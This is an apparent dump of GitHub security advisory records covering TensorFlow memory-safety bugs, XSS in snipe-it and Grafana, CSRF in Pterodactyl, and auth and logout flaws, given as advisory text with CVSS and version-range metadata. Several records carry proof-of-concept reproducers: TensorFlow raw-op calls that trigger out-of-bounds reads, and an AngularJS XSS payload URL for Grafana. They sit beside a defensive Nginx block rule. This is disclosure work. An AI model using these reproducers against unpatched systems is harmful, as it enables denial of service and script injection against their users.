The [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) can trigger a read outside of bounds of heap allocated array:
```python
import tensorflow as tf
@tf.function
def test():
y = tf.raw_ops.RaggedCross(ragged_values=[],
ragged_row_splits=[],
sparse_indices=[[5]],
sparse_values=[],
sparse_shape=[5],
dense_inputs=[['a']],
input_order='RD',
hashed_output=False,
num_buckets=5,
hash_key=2,
out_values_type=tf.string,
out_row_splits_type=tf.int64)
return y
test()
```
### Patches
We have patched the issue in GitHub commit [fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8](https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fr77-rrx3-cp7g'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41212'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-125'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:31:43Z', 'nvd_published_at': '2021-11-05T21:15:00Z'}
|
1.4.0
|
GHSA-2cqg-q7jm-j35c
|
2021-11-17T21:13:25Z
|
2021-11-15T23:19:42Z
| null |
['CVE-2021-3938']
|
snipe-it is vulnerable to Cross-site Scripting
|
snipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'snipe/snipe-it'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '5.4.0'}]}], 'database_specific': {'last_known_affected_version_range': '<= 5.3.1'}}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3938'}, {'type': 'WEB', 'url': 'https://github.com/snipe/snipe-it/commit/9ed1442bd124710f4178992cc4eca5236c7396b9'}, {'type': 'PACKAGE', 'url': 'https://github.com/snipe/snipe-it'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/198a0d67-9189-4170-809b-0f8aea43b063'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2021-11-15T22:10:46Z', 'nvd_published_at': '2021-11-13T09:15:00Z'}
|
1.4.0
|
GHSA-wwgq-9jhf-qgw6
|
2021-11-17T21:08:25Z
|
2021-11-18T15:46:57Z
| null |
['CVE-2021-41273']
|
Cross-Site Request Forgery allowing sending of test emails and generation of node auto-deployment keys
|
### Impact
Due to improperly configured CSRF protections on two routes, a malicious user could execute a CSRF-based attack against the following endpoints:
* Sending a test email.
* Generating a node auto-deployment token.
At no point would any data be exposed to the malicious user, this would simply trigger email spam to an administrative user, or generate a single auto-deployment token unexpectedly. This token is not revealed to the malicious user, it is simply created unexpectedly in the system.
### Patches
This has been addressed in https://github.com/pterodactyl/panel/commit/bf9cbe2c6d5266c6914223e067c56175de7fc3a5 which will be released as `1.6.6`.
### Workarounds
Users may optionally manually apply the fixes released in v1.6.6 to patch their own systems.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'pterodactyl/panel'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.6.6'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/pterodactyl/panel/security/advisories/GHSA-wwgq-9jhf-qgw6'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41273'}, {'type': 'WEB', 'url': 'https://github.com/pterodactyl/panel/commit/bf9cbe2c6d5266c6914223e067c56175de7fc3a5'}, {'type': 'PACKAGE', 'url': 'https://github.com/pterodactyl/panel'}]
|
{'cwe_ids': ['CWE-352'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-17T14:37:10Z', 'nvd_published_at': '2021-11-17T20:15:00Z'}
|
1.4.0
|
GHSA-3j9m-hcv9-rpj8
|
2021-11-29T15:05:31Z
|
2021-11-08T18:13:19Z
| null |
['CVE-2021-41174']
|
XSS vulnerability allowing arbitrary JavaScript execution
|
Today we are releasing Grafana 8.2.3. This patch release includes an important security fix for an issue that affects all Grafana versions from 8.0.0-beta1.
[Grafana Cloud](https://grafana.com/cloud) instances have already been patched and an audit did not find any usage of this attack vector. [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.
## CVE-2021-41174 XSS vulnerability on unauthenticated pages
### Summary
CVSS Score: 6.9 Medium
CVSS:[CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N/E:U/RL:O/RC:R/CR:L/MAV:N/MAC:H/MPR:N/MUI:R/MS:C/MC:N/MI:H/MA:L](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N/E:U/RL:O/RC:R/CR:L/MAV:N/MAC:H/MPR:N/MUI:R/MS:C/MC:N/MI:H/MA:L)
We received a security report to security@grafana.com on 2021-10-21 about a vulnerability in Grafana regarding the XSS vulnerability.
It was later identified as affecting Grafana versions from 8.0.0-beta1 to 8.2.2. [CVE-2021-41174](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41174) has been assigned to this vulnerability.
### Impact
If an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser.
The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar.
There are two ways an unauthenticated user can open a page in Grafana that contains the login button:
- Anonymous authentication is enabled. This means all pages in Grafana would be open for the attack.
- The link is to an unauthenticated page. The following pages are vulnerable:
- `/dashboard-solo/snapshot/*`
- `/dashboard/snapshot/*`
- `/invite/:code`
The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions. AngularJS uses double curly braces for interpolation binding: {{ }}
An example of an expression would be: `{{constructor.constructor(‘alert(1)’)()}}`. This can be included in the link URL like this:
https://play.grafana.org/dashboard/snapshot/%7B%7Bconstructor.constructor('alert(1)')()%7D%7D?orgId=1
When the user follows the link and the page renders, the login button will contain the original link with a query parameter to force a redirect to the login page. The URL is not validated and the AngularJS rendering engine will execute the JavaScript expression contained in the URL.
### Attack audit
We can not guarantee that the below will identify all attacks, so if you find something using the audit process described below, you should consider doing a full assessment.
#### Through reverse proxy/load balancer logs
To determine if your Grafana installation has been exploited for this vulnerability, search through your reverse proxy/load balancer access logs for instances where the path contains `{{` followed by something that would invoke JavaScript code. For example, this could be code that attempts to show a fake login page or to steal browser or session data. The [OWASP cheat sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) has several examples of XSS attacks.
#### Through the Grafana Enterprise audit feature
If you enabled “Log web requests” in your configuration with `router_logging = true`, look for requests where `path` contains `{{` followed by something that would invoke JavaScript code.
### Patched versions
Release 8.2.3:
- [Download Grafana 8.2.3](https://grafana.com/grafana/download/8.2.3)
- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-2-3/)
### Solutions and mitigations
Download and install the appropriate patch for your version of Grafana.
[Grafana Cloud](https://grafana.com/cloud) instances have already been patched, and [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.
### Workaround
If for some reason you cannot upgrade, you can use a reverse proxy or similar to block access to block the literal string `{{` in the path.
Example of an Nginx rule to block the literal string `{{`:
```
location ~ \{\{ {
deny all;
}
```
### Timeline and postmortem
Here is a detailed timeline starting from when we originally learned of the issue. All times in UTC.
* 2021-10-21 23:13: Security researcher sends the initial report about an XSS vulnerability.
* 2021-10-21 23:13: Confirmed to be reproducible in at least versions 8.0.5 and 8.2.2.
* 2021-10-22 02:02 MEDIUM severity declared.
* 2021-10-22 09:22: it is discovered that Grafana instances with anonymous auth turned on are vulnerable. This includes https://play.grafana.org/ .
* 2021-10-22 09:50: Anonymous access disabled for all instances on Grafana Cloud as a mitigation measure.
* 2021-10-22 11:15: Workaround deployed on Grafana Cloud that blocks malicious requests.
* 2021-10-22 12:35: Enabled anonymous access for instances on Grafana Cloud.
* 2021-10-22 12:51: All instances protected by the workaround. From this point forward, Grafana Cloud is no longer affected.
* 2021-10-22 14:05 Grafana Cloud instances updated with a fix.
* 2021-10-22 19:23 :Determination that no weekend work is needed as the issue is of MEDIUM severity and the root cause has been identified.
* 2021-10-25 14:13: Audit of Grafana Cloud concluded, no evidence of exploitation.
* 2021-10-27 12:00: Grafana Enterprise images released to customers under embargo.
* 2021-11-03 12:00: Public release.
## Reporting security issues
If you think you have found a security vulnerability, please send a report to [security@grafana.com](mailto:security@grafana.com). This address can be used for all of
Grafana Labs' open source and commercial products (including but not limited to Grafana, Tempo, Loki, k6, Tanka, and Grafana Cloud, Grafana Enterprise, and grafana.com). We only accept vulnerability reports at this address. We would prefer that you encrypt your message to us using our PGP key. The key fingerprint is:
F988 7BEA 027A 049F AE8E 5CAA D125 8932 BE24 C5CA
The key is available from [ keyserver.ubuntu.com]( https://keyserver.ubuntu.com/pks/lookup?op=get&fingerprint=on&search=0xD1258932BE24C5CA) by searching for [security@grafana]( https://keyserver.ubuntu.com/pks/lookup?search=security@grafana&fingerprint=on&op=index).
## Security announcements
There is a Security [category](https://grafana.com/tags/security/) on the Grafana blog where we will post a summary, remediation, and mitigation details for any patch containing security fixes and you can subscribe to updates from our [Security Announcements RSS feed](https://grafana.com/tags/security/index.xml).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N'}]
|
[{'package': {'ecosystem': 'npm', 'name': '@grafana/data'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '8.0.0'}, {'fixed': '8.2.3'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41174'}, {'type': 'WEB', 'url': 'https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912'}, {'type': 'WEB', 'url': 'https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82'}, {'type': 'WEB', 'url': 'https://github.com/grafana/grafana/commit/fb85ed691290d211a5baa44d9a641ab137f0de88'}, {'type': 'PACKAGE', 'url': 'https://github.com/grafana/grafana'}, {'type': 'WEB', 'url': 'https://security.netapp.com/advisory/ntap-20211125-0003/'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-03T18:18:08Z', 'nvd_published_at': '2021-11-03T18:15:00Z'}
|
1.4.0
|
GHSA-vpfp-5gwq-g533
|
2023-09-05T22:18:19Z
|
2021-11-17T23:15:30Z
| null |
['CVE-2021-37580']
|
Improper Authentication in Apache ShenYu Admin
|
A flaw was found in Apache ShenYu Admin. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. This issue affected Apache ShenYu 2.3.0 and 2.4.0.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.apache.shenyu:shenyu-admin'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.3.0'}, {'fixed': '2.4.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-37580'}, {'type': 'WEB', 'url': 'https://github.com/apache/shenyu/commit/f78adb26926ba53b4ec5c21f2cf7e931461d601d'}, {'type': 'PACKAGE', 'url': 'https://github.com/apache/shenyu'}, {'type': 'WEB', 'url': 'https://github.com/apache/shenyu/releases/tag/v2.4.1'}, {'type': 'WEB', 'url': 'https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2021/11/16/1'}]
|
{'cwe_ids': ['CWE-287'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-17T22:31:03Z', 'nvd_published_at': '2021-11-16T10:15:00Z'}
|
1.4.0
|
GHSA-cvgx-3v3q-m36c
|
2021-11-08T22:32:45Z
|
2021-11-10T19:01:03Z
| null |
['CVE-2021-41211']
|
Heap OOB in shape inference for `QuantizeV2`
|
### Impact
The [shape inference code for `QuantizeV2`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/framework/common_shape_fns.cc#L2509-L2530) can trigger a read outside of bounds of heap allocated array:
```python
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeV2(
input=[1.0,1.0],
min_range=[1.0,10.0],
max_range=[1.0,10.0],
T=tf.qint32,
mode='MIN_COMBINED',
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100,
ensure_minimum_range=10)
return data
test()
```
This occurs whenever `axis` is a negative value less than `-1`. In this case, we are accessing data before the start of a heap buffer:
```cc
int axis = -1;
Status s = c->GetAttr("axis", &axis);
if (!s.ok() && s.code() != error::NOT_FOUND) {
return s;
}
...
if (axis != -1) {
...
TF_RETURN_IF_ERROR(
c->Merge(c->Dim(minmax, 0), c->Dim(input, axis), &depth));
}
```
The code allows `axis` to be an optional argument (`s` would contain an `error::NOT_FOUND` error code). Otherwise, it assumes that `axis` is a valid index into the dimensions of the `input` tensor. If `axis` is less than `-1` then this results in a heap OOB read.
### Patches
We have patched the issue in GitHub commit [a0d64445116c43cf46a5666bd4eee28e7a82f244](https://github.com/tensorflow/tensorflow/commit/a0d64445116c43cf46a5666bd4eee28e7a82f244).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, as this version is the only one that is also affected.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}], 'versions': ['2.6.0']}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}], 'versions': ['2.6.0']}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}], 'versions': ['2.6.0']}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cvgx-3v3q-m36c'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41211'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/a0d64445116c43cf46a5666bd4eee28e7a82f244'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-125'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:32:45Z', 'nvd_published_at': '2021-11-05T21:15:00Z'}
|
1.4.0
|
GHSA-786j-5qwq-r36x
|
2021-11-08T22:45:03Z
|
2021-11-10T19:12:14Z
| null |
['CVE-2021-41204']
|
Segfault while copying constant resource tensor
|
### Impact
During TensorFlow's Grappler optimizer phase, constant folding might attempt to deep copy a resource tensor. This results in a segfault, as these tensors are supposed to not change.
### Patches
We have patched the issue in GitHub commit [7731e8dfbe4a56773be5dc94d631611211156659](https://github.com/tensorflow/tensorflow/commit/7731e8dfbe4a56773be5dc94d631611211156659).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-786j-5qwq-r36x'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41204'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/7731e8dfbe4a56773be5dc94d631611211156659'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-824'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:45:03Z', 'nvd_published_at': '2021-11-05T21:15:00Z'}
|
1.4.0
|
GHSA-4f99-p9c2-3j8x
|
2021-11-08T22:08:27Z
|
2021-11-10T18:51:51Z
| null |
['CVE-2021-41219']
|
Undefined behavior via `nullptr` reference binding in sparse matrix multiplication
|
### Impact
The [code for sparse matrix multiplication](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/sparse_matmul_op.cc#L954-L1086) is vulnerable to undefined behavior via binding a reference to `nullptr`:
```python
import tensorflow as tf
tf.raw_ops.SparseMatMul(
a=[[1.0,1.0,1.0]],
b=[[],[],[]],
transpose_a=False,
transpose_b=False,
a_is_sparse=False,
b_is_sparse=True)
```
This occurs whenever the dimensions of `a` or `b` are 0 or less. In the case on one of these is 0, an empty output tensor should be allocated (to conserve the invariant that output tensors are always allocated when the operation is successful) but nothing should be written to it (that is, we should return early from the kernel implementation). Otherwise, attempts to write to this empty tensor would result in heap OOB access.
### Patches
We have patched the issue in GitHub commit [e6cf28c72ba2eb949ca950d834dd6d66bb01cfae](https://github.com/tensorflow/tensorflow/commit/e6cf28c72ba2eb949ca950d834dd6d66bb01cfae).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4f99-p9c2-3j8x'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41219'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/e6cf28c72ba2eb949ca950d834dd6d66bb01cfae'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-125', 'CWE-824'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:08:27Z', 'nvd_published_at': '2021-11-05T21:15:00Z'}
|
1.4.0
|
GHSA-mc8v-mgrf-8f4m
|
2021-12-13T13:12:02Z
|
2021-11-18T16:13:08Z
| null |
['CVE-2021-41190']
|
Clarify Content-Type handling
|
### Impact
In the OCI Distribution Specification version 1.0.0 and prior, the Content-Type header alone was used to determine the type of document during push and pull operations. Documents that contain both “manifests” and “layers” fields could be interpreted as either a manifest or an index in the absence of an accompanying Content-Type header. If a Content-Type header changed between two pulls of the same digest, a client may interpret the resulting content differently.
### Patches
The OCI Distribution Specification will be updated to require that a `mediaType` value present in a manifest or index match the Content-Type header used during the push and pull operations.
### Workarounds
Clients pulling from a registry may distrust the Content-Type header and reject an ambiguous document that contains both “manifests” and “layers” fields or “manifests” and “config” fields.
### References
https://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/opencontainers/distribution-spec/
* Email us at security@opencontainers.org
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/opencontainers/distribution-spec'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41190'}, {'type': 'WEB', 'url': 'https://github.com/opencontainers/distribution-spec/commit/ac28cac0557bcd3084714ab09f9f2356fe504923'}, {'type': 'PACKAGE', 'url': 'https://github.com/opencontainers/distribution-spec'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3TUZNDAH2B26VPBK342UC3BHZNLBUXGX/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4334HT7AZPLWNYHW4ARU6JBUF3VZJPZN/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/A2RRFNTMFYKOTRKD37F5ANMCIO3GGJML/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DX63GRWFEI5RVMYV6XLMCG4OHPWZML27/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RZTO6N55WHKHIZI4IMLY2QFBPMVTAERM/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SQBCYJUIM5GVCMFUPRWKRZNXMMI5EFA4/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T4OJ764CKKCWCVONHD4YXTGR7HZ7LRUV/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YIGVQWOA5XXCQXEOOKZX4CDAGLBDRPRX/'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2021/11/19/10'}]
|
{'cwe_ids': ['CWE-843'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2021-11-17T23:13:37Z', 'nvd_published_at': '2021-11-17T20:15:00Z'}
|
1.4.0
|
GHSA-cw7p-q79f-m2v7
|
2021-11-04T17:49:19Z
|
2021-11-08T18:02:37Z
| null |
['CVE-2021-41247']
|
incomplete JupyterHub logout with simultaneous JupyterLab sessions
|
### Impact
Users of JupyterLab with JupyterHub who have multiple JupyterLab tabs open in the same browser session, may see incomplete logout from the single-user server, as fresh credentials (for the single-user server only, not the Hub) reinstated after logout, if another active JupyterLab session is open while the logout takes place.
### Patches
Upgrade to JupyterHub 1.5. For distributed deployments, it is jupyterhub in the _user_ environment that needs patching. There are no patches necessary in the Hub environment.
### Workarounds
